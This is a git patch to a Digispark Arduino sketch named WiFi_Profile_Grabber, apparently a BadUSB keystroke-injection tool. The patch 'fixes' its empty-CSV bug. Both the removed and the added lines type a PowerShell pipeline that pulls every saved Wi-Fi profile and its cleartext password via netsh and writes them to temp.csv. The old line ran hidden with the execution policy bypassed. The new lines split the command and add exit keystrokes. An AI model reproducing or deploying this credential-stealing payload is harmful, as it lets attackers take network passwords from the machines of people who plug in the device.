From 2e077c087b6bcbf1ce32b5666cef06b76c77dd5f Mon Sep 17 00:00:00 2001 From: unknown Date: Sun, 26 May 2019 22:36:51 +0200 Subject: [PATCH] WiFi_Profile_Grabber empty csv file fix --- WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino b/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino index 1004ecc..b1e2333 100644 --- a/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino +++ b/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino @@ -12,9 +12,18 @@ void loop() { DigiKeyboard.print("cmd"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); - DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\" ")); + DigiKeyboard.print(F("powershell")); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv ")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(3000); + DigiKeyboard.print("exit"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print("exit"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(200); DigiKeyboard.print("cmd");